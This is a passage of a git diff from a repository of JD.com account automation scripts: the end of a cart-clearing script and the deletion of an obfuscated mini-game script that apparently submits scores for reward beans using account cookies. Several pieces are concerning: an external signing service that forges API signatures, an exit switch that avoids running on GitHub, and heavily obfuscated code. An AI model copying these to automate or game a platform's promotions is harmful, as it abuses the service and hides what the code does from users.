if($.out) return - if(!clearBody){ - console.log('获取不到算法') - }else{ - let clearData = await jdApi('cartClearRemove',clearBody) - let clearRes = $.toObj(clearData,clearData); - if(typeof clearRes == 'object'){ - if(clearRes.resultCode == 0) { - msg += `清空${operNum}件商品|✅\n` - console.log(`清空${operNum}件商品|✅\n`) - }else if(clearRes.mainTitle){ - msg += `清空${operNum}件商品|${clearRes.mainTitle}\n` - console.log(`清空${operNum}件商品|${clearRes.mainTitle}\n`) - }else{ - msg += `清空${operNum}件商品|❌\n` - console.log(`清空${operNum}件商品|❌\n`) - console.log(clearData) - } - }else{ - msg += `清空${operNum}件商品|❌\n` - console.log(`清空${operNum}件商品|❌\n`) - console.log(clearData) - } - } - } - }else if(res.mainTitle){ - msg += `${res.mainTitle}\n` - console.log(res.mainTitle) - }else{ - msg += `未识别到购物车有商品\n` - console.log(data) - } - } - }else{ - console.log(data) - } - }else{ - console.log(data) - } - if(msg){ - message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${msg}\n` - } - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - }catch(e){ - console.log(e) - } -} -function toSDS(name){ - let res = true - if($.cleancartProductsArr === false) return false - for(let t of $.cleancartProductsArr || []){ - if(t && name.indexOf(t) > -1 || t == '不清空'){ - res = false - break - } - } - return res -} -function jdApi(functionId,body) { - if(!functionId || !body) return - return new Promise(resolve => { - $.post(taskPostUrl(`/client.action?functionId=${functionId}`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data); - if(typeof res == 'object'){ - if(res.mainTitle) console.log(res.mainTitle) - if(res.resultCode == 0){ - resolve(res); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(''); - } - }) - }) -} - -function jdSign(fn,body) { - let sign = '' - let flag = false - try{ - const fs = require('fs'); - if (fs.existsSync('./gua_encryption_sign.js')) { - const encryptionSign = require('./gua_encryption_sign'); - sign = encryptionSign.getSign(fn, body) - }else{ - flag = true - } - sign = sign.data && sign.data.sign && sign.data.sign || '' - }catch(e){ - flag = true - } - if(!flag) return sign - if(!jdSignUrl.match(/^https?:\/\//)){ - console.log('请填写算法url') - $.out = true - return '' - } - return new Promise((resolve) => { - let url = { - url: jdSignUrl, - body:`{"fn":"${fn}","body":${body}}`, - followRedirect:false, - headers: { - 'Accept':'*/*', - "accept-encoding": "gzip, deflate, br", - 'Content-Type': 'application/json', - }, - timeout:30000 - } - $.post(url, async (err, resp, data) => { - try { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res === 'object' && res){ - if(res.code && res.code == 200 && res.msg == "ok" && res.data){ - if(res.data.sign) sign = res.data.sign || '' - if(sign != '') resolve(sign) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve('') - } - }) - }) -} - - -function taskPostUrl(url, body) { - return { - url: `https://api.m.jd.com${url}`, - body: body, - headers: { - "Accept": "*/*", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie}`, - "Host": "api.m.jd.com", - "User-Agent": "JD4iPhone/167853 (iPhone; iOS; Scale/2.00)" , - } - } -} - -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/gua_cleancart_ddo.js b/backUp/gua_cleancart_ddo.js similarity index 100% rename from gua_cleancart_ddo.js rename to backUp/gua_cleancart_ddo.js diff --git a/backUp/gua_ddgame.js b/backUp/gua_ddgame.js deleted file mode 100644 index 1325c19..0000000 --- a/backUp/gua_ddgame.js +++ /dev/null @@ -1,45 +0,0 @@ -/* -东东游戏[gua_ddgame.js] -只支持NodeJs环境 (脚本加密 - -如出现 Error: Cannot find module 'form-data' - -请安装模块'form-data' -npm install form-data - -共5款游戏 -第1款 极速赛艇 - 执行最短时间需要35秒 - 倒计时在30秒 分数达到200 有机会获得随机数量的好玩豆 -第2款 荒漠求生 - 执行最短时间需要80秒 - 三次生命 分数达到500 有机会获得随机数量的好玩豆 -第3款 森林的秘密 - 执行最短时间需要90秒 - 15次机会 分数达到1000 有机会获得随机数量的好玩豆 -第4款 潮玩总动员 - 执行最短时间需要90秒 - 120秒内 分数达到100 有机会获得随机数量的好玩豆 -第5款 空中掠夺 - 执行最短时间需要35秒 - 30秒内 分数达到600 有机会获得随机数量的好玩豆 -全执行最少需要6分钟/个账号 -默认全执行 - -环境变量 -guaDDGametype="1,3" //指定玩某款游戏 -guaDDGametype="all" //空、不设置或者all 没有填指定内容不玩游戏 畅玩所以游戏 - - -17 12-23/4 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_ddgame.js - -*/ -let guaDDGametype = "all" - -const $ = new Env('东东游戏'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -var _0xodp='jsjiami.com.v6',_0x500b=[_0xodp,'56m65Lit5o6g5aS6','YWxs','44CQ5o+Q56S644CR6K+35YWI6I635Y+WY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tLw==','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrA==','ZE9XRnk=','b2RZU3U=','R1lQTWM=','RkNBUnY=','aW5kZXhPZg==','YUJWck8=','RmhqYkw=','bXNn','bmFtZQ==','aXdkbHA=','dmNGTk0=','bGVuZ3Ro','VXNlck5hbWU=','bWF0Y2g=','aW5kZXg=','a0tvS0U=','YmVhbg==','QWxJRXo=','bmlja05hbWU=','CgoqKioqKirlvIDlp4vjgJDkuqzkuJzotKblj7c=','KioqKioqKioqCg==','SEhtbHk=','c2VuZE5vdGlmeQ==','Y2F0Y2g=','bG9nRXJy','ZmluYWxseQ==','ZG9uZQ==','R0VPT2k=','aXN2T2JmdXNjYXRvcg==','6I635Y+WW3Rva2VuXeWksei0pe+8gQ==','Z2V0TXlQaW5n','YWNjZXNzTG9nV2l0aEFE','aHR0cHM6Ly9pbWcxMC4zNjBidXlpbWcuY29tL2ltZ3pvbmUvamZzL3QxLzcwMjAvMjcvMTM1MTEvNjE0Mi81YzUxMzhkOEU0ZGYyZTc2NC81YTEyMTZhM2E1MDQzYzVkLnBuZw==','Z2V0VXNlckluZm8=','YWN0aXZpdHlDb250ZW50','5rS75Yqo57uT5p2f','5LiK5Lyg5pWw5o2u5Lit','c2F2ZVNjb3Jl','T2xNTVI=','Z2FtZQ==','YWRTb3VyY2U=','dUtKSkM=','TnJOZEw=','VkhrWXA=','c3BsaXQ=','aW5jbHVkZXM=','ZWdJekM=','Qkp0cE4=','U3djYm8=','CuWHhuWkh+eOqeesrA==','alB2S1M=','Xea4uOaIjw==','VG9rZW4=','UGlu','aGFzRW5k','YU1IRU0=','cFR2Um4=','aGlzUHI=','TWFVTFM=','cGFyc2U=','6I635Y+WY29va2ll5aSx6LSl','eVV5bnM=','eVVqenM=','VmR1VXM=','ZWhWeUU=','ZXBJcmg=','S25yUUQ=','YXR0clRvdVhpYW5n','WVFkR3U=','a0NzY1Q=','U1hsUE0=','RFlZQng=','VVJzWU4=','ZnJhY3Rpb24=','WVZwTE0=','Zmxvb3I=','TnZSak0=','cmFuZG9t','YmdnQ0I=','dGltZQ==','YU5mZVQ=','VUhPd3c=','cFVvbXU=','TWF4ZnJhY3Rpb24=','TWluZnJhY3Rpb24=','Z2h3SnM=','QVJVb2g=','d2NMVnQ=','dlBSUWY=','a0RvTkE=','R3VPdFQ=','562J5b6FNeenki3nrKw=','VHVHYXg=','d2FpdA==','T0dwTGw=','Rm1xbVQ=','eGVNa1Y=','Ym5HRno=','UWJYcmo=','Wlhrb2Q=','S1FTYmI=','QUxudlM=','TFpfVE9LRU5fS0VZPQ==','TFpfVE9LRU5fVkFMVUU9','bHpfamRwaW5fdG9rZW49','Uk51Rko=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrAo=','Z2xGYnA=','UmRFY00=','aHVjU1Q=','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','a0RVUE8=','dUFMV20=','UE9TVA==','Z2V0U2ltcGxlQWN0SW5mb1Zv','Z2V0U3lzdGVtQ29uZmln','Z2V0U2hvd0ltZw==','aW5zZXJ0Q3JtUGFnZVZpc2l0','YWN0aXZpdHlJZA==','ZHoyMTA5Njg4NjkzMDE=','dXVpZA==','cGlu','dHlwZQ==','c2NvcmU=','QnlLV1E=','bVZSYWY=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjAlMjJpZCUyMiUzQSUyMCUyMiUyMiU3RCZ1dWlkPWVkYjk2OGJkMmZlMTQ1NDI4YjEyYWQ4NWVkMjRjYjcyJmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTkuNC4wJnN0PTE2MzIwNjE3NTQwMDAmc3Y9MTIwJnNpZ249MDM4ZjkwN2Y2YmQxNTUxZjcwMTdjYTA1NDdiMDBmODU=','d29wZko=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jdXN0b21lci9nZXRNeVBpbmc=','dXNlcklkPTY4ODY5MyZ0b2tlbj0=','JmZyb21UeXBlPUFQUA==','UmV4bk8=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kei9jb21tb24vZ2V0U2ltcGxlQWN0SW5mb1Zv','YWN0aXZpdHlJZD1kejIxMDk2ODg2OTMwMQ==','Q21XRHA=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS93eENvbW1vbkluZm8vZ2V0U3lzdGVtQ29uZmln','VkNUdU4=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jb21tb24vYWNjZXNzTG9nV2l0aEFE','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2Z1Z3UvZ2FtZS9hY3Rpdml0eT9hY3Rpdml0eUlkPWR6MjEwOTY4ODY5MzAxJmFkU291cmNlPQ==','dmVuZGVySWQ9Njg4NjkzJmNvZGU9OTkmcGluPQ==','eEFHVVc=','JmFjdGl2aXR5SWQ9ZHoyMTA5Njg4NjkzMDEmcGFnZVVybD0=','JnN1YlR5cGU9QVBQJmFkU291cmNlPQ==','cVRacVo=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS93eEFjdGlvbkNvbW1vbi9nZXRVc2VySW5mbw==','cGluPQ==','SWpSVFY=','VVV1bnA=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2Z1Z3UvZ2FtZS9hY3Rpdml0eUNvbnRlbnQ=','YWN0aXZpdHlJZD1kejIxMDk2ODg2OTMwMSZwaW49','JnBpbkltZz0=','Jm5pY2s9','YmVaZ2g=','bmlja25hbWU=','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0mYWRTb3VyY2U9','bGlobGg=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL3VuaW9uL3Bvc3Rlci9nZXRTaG93SW1n','SWhpVk8=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jcm0vcGFnZVZpc2l0L2luc2VydENybVBhZ2VWaXNpdA==','dmVuZGVySWQ9Njg4NjkzJmVsZW1lbnRJZD0lRTglQjclQjMlRTglQkQlQUMmcGFnZUlkPWR6MjEwOTY4ODY5MzAxJnBpbj0=','TVJkR0E=','c1FLVEU=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2Z1Z3UvZ2FtZS9zYXZlU2NvcmU=','Z2V0Qm91bmRhcnk=','YXBwZW5k','Y1JIZlM=','ZWRwYXQ=','QVhlT3Y=','YWN0b3JVdWlk','dkpaV1Y=','ZERBdFM=','amlYcUs=','ZlpwalY=','aEhrclU=','UUJHdmo=','cFJ5d1Q=','eVByeE8=','UURDYXM=','VlVtU3g=','QVJHRWo=','aHVmZlY=','cUJtaEo=','S2ppT0M=','RlVQSlo=','Y3BOaHQ=','a2hJcEI=','dlJZT3Q=','akhWWVQ=','TlJtTEo=','WURFbVU=','bU1zbms=','bGZjWFA=','cG9zdA==','Z29WdVE=','SVJwZEc=','Sm5qSG0=','QWJDZHQ=','cXVtTkU=','T1BlRGI=','ZGpJU2k=','VlRHS1c=','R2lxeVY=','c3RhdHVzQ29kZQ==','TGxUY00=','TldSeHE=','dG9TdHI=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cHRBZkE=','RXJuRkQ=','UW9VSnI=','dHJpbQ==','T25xZ0Y=','dWNydWk=','UFJvYXU=','cmVwbGFjZQ==','bW9YUVI=','YkVQV0s=','amNwUUc=','S2JjQU4=','Zm5BWUk=','dWR4WEU=','cVBNbUg=','Vkl0cEo=','bGJ5U2o=','ZXJyb3JNZXNzYWdl','Ukh6ZUg=','YWJjZGVmMDEyMzQ1Njc4OQ==','dW5kZWZpbmVk','Q29udGVudC1UeXBl','QWNjZXB0','Ki8q','RW9QTWo=','b2JqZWN0','T21XWEY=','S3p0aU4=','bnlyZlU=','ZldPTlk=','Z0F6U0Q=','TG5Bbks=','b2pyYXE=','bG5Sdk4=','RUxRUGE=','UHhYaXA=','RmxIZ3g=','V2RRU1U=','S3hUUlg=','YWlmWmY=','V1JqQkE=','IOaJp+ihjOS7u+WKoeW8guW4uA==','cnVuRmFsYWc=','cFJXQ2Y=','YkJHTHI=','WVFwekE=','ZXJyY29kZQ==','cmhaWUg=','dG9rZW4=','SkZLanI=','bWVzc2FnZQ==','aXN2T2JmdXNjYXRvciA=','VU5jRlc=','Wlh1Q3A=','amlSSlI=','Q1FsQmg=','UW1URHE=','RnVnU2o=','Y2hhckF0','U2VPZWQ=','WHhBQlg=','dHJPS3o=','cmVzdWx0','ZGF0YQ==','c2VjcmV0UGlu','a213Sk8=','QVhkVkQ=','VGJoeUw=','eUFvSFg=','RGFoemg=','TW12YXA=','eXVuTWlkSW1hZ2VVcmw=','VUxFaEw=','YXhxRXE=','cE1pT2g=','SVZac3Y=','R21uZlo=','SExHUlA=','dHVEemQ=','YnBPam8=','b3Vsc2Y=','QkpBZ1M=','Rk9tcXQ=','YUFiTEw=','RnZYQUk=','bXNWTkc=','cVlieEE=','b1RQdmk=','bFptcmw=','SllWU1o=','aWhwU3U=','cEhSeXU=','TURKdU8=','Y3RBUFo=','b21LRkw=','R1JXbWw=','UEtnZUw=','bXVsdGlwYXJ0L2Zvcm0tZGF0YTsgYm91bmRhcnk9','Ym91bmRhcnk=','cmFvTmM=','RXJlSnA=','ZmxpZQ==','bWFyaw==','QVJoTEk=','QlFNZno=','a2RMVk8=','5ri45oiP57uT5p2fLOiOt+W+lw==','SGRBUEI=','5ri45oiP57uT5p2fLOa4uOaIj+Wksei0pSA=','S1NLcmY=','b09tQ2w=','TFBRVW0=','LT4g','dXliSXY=','UUpzVmI=','dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','WE1MSHR0cFJlcXVlc3Q=','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','dEhhWHY=','R0dSelg=','UmVmZXJlcg==','T3JpZ2lu','Q29va2ll','QVVUSF9DX1VTRVI9','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','YXBwbGljYXRpb24vanNvbg==','ZGluZ3poaS9mdWd1L2dhbWUvc2F2ZVNjb3Jl','WnlhQ20=','UHRKQ2c=','Y2tSVmI=','VktsaUg=','aFZGZXg=','TFdJRlI=','SG9jQ0s=','SGN2bGM=','TG5jdXA=','VE5TcEU=','VEtyS3g=','bWR0clA=','ZmRaUnU=','eUpwQ0U=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','Z2VLZE4=','Q2RGR1I=','Zm11b1o=','SVR3aFA=','emtpdmc=','RXd4RlI=','UHhwWkk=','dmlrU3c=','IGNvb2tpZSBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','YlhMa0Q=','ZHhNeWM=','V1Zud2E=','cnhXc3c=','bGpxSGo=','R0Vmblg=','QlNBaUU=','RGlnV2c=','RmpQdkY=','QUFMS3I=','SFBJUXc=','YXFvd3M=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9semNsaWVudC9kemdhbWVzL2pkbXR4R2FtZXMvU25ha2UvaW5kZXguaHRtbD91dWlkPQ==','JnBpbj0=','a1VoaU0=','UXphR2w=','emlsS28=','UXpqYmk=','RmZqR2U=','a0JaSHg=','UURWU0o=','TnZVSlc=','Z2V0','akFOY0k=','VnVMeFU=','WG5ORXk=','eU9ZUWI=','SnNhWEI=','T0VOQlA=','bUZZY0s=','ZmRpaFQ=','bVFUTnk=','WGt0Q3U=','SW1ZeEw=','VXVvZlc=','YXREQWE=','dW1ySVg=','WE1vTHQ=','Rk1UWmI=','bW1Tb2E=','YVZCYU0=','anhjZk4=','ZkZzQUU=','V3pPYWw=','ZGlEVFI=','WlNacWw=','cmpIVUY=','RmlFTFc=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','Q1V3V20=','a2JCRlA=','aUJWU3E=','T2dJbXU=','RHZvelE=','alViWUQ=','S0t6RUM=','a0JlTkI=','Q3Rrc0k=','WElWamU=','cURVeHo=','elhTaFg=','Y3V2RHg=','eFNHeFY=','Uk5YeUY=','QWZmWWo=','Wm5FdEs=','WUhtQ1U=','amRhcHA7aVBob25lOzEwLjEuNDsxMy4xLjI7','cVBGdmQ=','O25ldHdvcmsvd2lmaTttb2RlbC9pUGhvbmU4LDE7YWRkcmVzc2lkLzIzMDg0NjA2MTE7YXBwQnVpbGQvMTY3ODE0O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18xXzIgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','YlBPZEw=','WE5tblk=','cFROTG4=','QkZFUlg=','c3RyaW5n','UnR3RkY=','ZE5QSEo=','a2dJS2o=','akNGeGE=','Q1dmT3o=','SEJVdU0=','ZWxoUEI=','Zm9ybS1kYXRh','aXNOb2Rl','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','Z3VhRERHYW1ldHlwZQ==','aG90RmxhZw==','b3V0RmxhZw==','dGVtcA==','R2FtZXM=','5p6B6YCf6LWb6ImH','6I2S5ryg5rGC55Sf','5qOu5p6X55qE56eY5a+G','5r2u546p5oC75Yqo5ZGY','bjWsjiIamki.com.QvDn6deuPzfP=='];(function(_0x45c682,_0x129e25,_0x26440a){var _0x49d39e=function(_0x55bc04,_0x1b9705,_0x3a8311,_0x278709,_0x3a2cda){_0x1b9705=_0x1b9705>>0x8,_0x3a2cda='po';var _0x27efcc='shift',_0x2c3bca='push';if(_0x1b9705<_0x55bc04){while(--_0x55bc04){_0x278709=_0x45c682[_0x27efcc]();if(_0x1b9705===_0x55bc04){_0x1b9705=_0x278709;_0x3a8311=_0x45c682[_0x3a2cda+'p']();}else if(_0x1b9705&&_0x3a8311['replace'](/[bWIkQDndeuPzfP=]/g,'')===_0x1b9705){_0x45c682[_0x2c3bca](_0x278709);}}_0x45c682[_0x2c3bca](_0x45c682[_0x27efcc]());}return 0xa9265;};return _0x49d39e(++_0x129e25,_0x26440a)>>_0x129e25^_0x26440a;}(_0x500b,0x1c3,0x1c300));var _0x5a8a=function(_0x4a9823,_0xdb7e56){_0x4a9823=~~'0x'['concat'](_0x4a9823);var _0xe8beab=_0x500b[_0x4a9823];if(_0x5a8a['mKlkKb']===undefined){(function(){var _0x38db16=function(){var 